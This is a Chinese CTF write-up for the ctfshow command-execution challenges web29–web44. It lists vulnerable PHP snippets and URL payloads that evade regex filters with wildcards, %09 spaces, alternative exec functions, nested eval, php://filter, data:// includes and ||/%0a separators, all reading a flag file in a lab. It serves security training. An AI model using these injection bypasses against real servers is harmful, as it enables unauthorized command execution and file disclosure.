【ctfshow】命令执行->web29-web44

简介: 【ctfshow】命令执行->web29-web44

前言


红中(hong_zh0)
CSDN内容合伙人、2023年新星计划web安全方向导师、
华为MindSpore截至目前最年轻的优秀开发者、IK&N战队队长、
吉林师范大学网安大一的一名普通学生、搞网安论文拿了回大挑校二、
阿里云专家博主、华为网络安全云享专家、腾讯云自媒体分享计划博主


web29


 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

第一题,相当于啥都没过滤。

Payload:
?c=system("tac fl??????")//?通配符
?c=system("tac fl*");//*通配符
?c=system("tac fl\ag.php");//\分割
?c=system("tac fl''ag.php");//''分割


web30


 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

ban了system(),考虑替代方案

Payload:
?c=passthru("tac fl\ag.p\hp");

命令执行中可以替代system函数的有


1、exec()

2、passthru()

3、反引号/shell_exec()


区别在于:


system()/passthru()


直接将结果输出到浏览器


exec()/shell_exec()/反引号


需要通过echo/return来查看结果


web31


 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

相较于上一题过滤多点:点,空格,单引号

Payload:
?c=passthru("nl%09fl*");//纯绕
?c=eval($_GET[1]);&1=system("tac flag.php");//类似于一个跳板

空格被Ban:


${IFS}


<


>


<>


%09


%0a(二者差别主要在于前者通常插在中间而后者一般放在末尾)


读取文件语句:


nl*(输出带行号)


cat/tac(二者一正序一倒序)


关于跳板


已知浏览器需要一个名为c的变量,这个跳板的原理就是c的值是要再读取一个值,这个值将不受任何限制。


web32


 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

这又把(过滤了,没招,用包含做

Payload:
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

后面伪协议随便拿个hackbar跑就行

出来一串base64编码

直接解码出flag


web33-36


用上一题的方法通杀了


web37


 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
} 

换姿势了,得包含。

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

data协议包含,然后直接传命令


<?php system('cat flag.php');?>


记得编码再传


web38-web39


用上题方法通杀


web40


我是彩笔,不会,建议看师傅WPctf.show


web41



web42


 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 


出现了一个奇怪的东西


>/dev/null 2>&1


建议看这篇博客>/dev/null 2>&1


省流:


这个玩意就类似一个垃圾桶,屏蔽所有输出以及报错

Payload:
?c=cat flag.php%0a//%0a截断
?c=cat flag.php||//||截断
?c=tac flag.php%26%26ls//传两个值进去,垃圾桶只能吃一个
?c=tac flag.php;//分号直接截断


web43


 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

把分号ban了


没事,||接着绕

Payload:
?c=tac flag.php||


web44


不开环境了,估计就是在上一题的基础上把flag ban了

?c=tac fl*||
目录
相关文章
|
3月前
|
安全 Java PHP
Web安全-命令执行漏洞
Web安全-命令执行漏洞
39 2
|
3月前
|
机器学习/深度学习 安全 网络协议
Web安全-Linux网络命令
Web安全-Linux网络命令
37 1
|
4月前
|
JSON 定位技术 数据格式
web GIS神器,一行命令快捷构建精灵图服务
web GIS神器,一行命令快捷构建精灵图服务
|
4月前
|
存储 SQL PHP
Ctfshow web入门 PHP特性篇 web89-web151 全(三)
Ctfshow web入门 PHP特性篇 web89-web151 全(三)
55 2
|
5月前
|
安全 Unix Shell
web安全之命令执行
应用未对用户输入做严格得检查过滤,导致用户输入得参数被当成命令来执行。
59 4
|
4月前
|
安全 Shell PHP
pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40
pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40
232 0
|
4月前
|
算法 安全 Linux
Ctfshow web入门 PHP特性篇 web89-web151 全(二)
Ctfshow web入门 PHP特性篇 web89-web151 全(二)
108 0
|
4月前
|
存储 SQL 缓存
Ctfshow web入门 PHP特性篇 web89-web151 全(一)
Ctfshow web入门 PHP特性篇 web89-web151 全(一)
126 0
|
4月前
|
JSON JavaScript 前端开发
Ctfshow web入门 nodejs篇 web334-web344
Ctfshow web入门 nodejs篇 web334-web344
76 0
|
4月前
|
前端开发 PHP 开发工具
CTFshow 信息搜集篇 web1-web20
CTFshow 信息搜集篇 web1-web20
32 0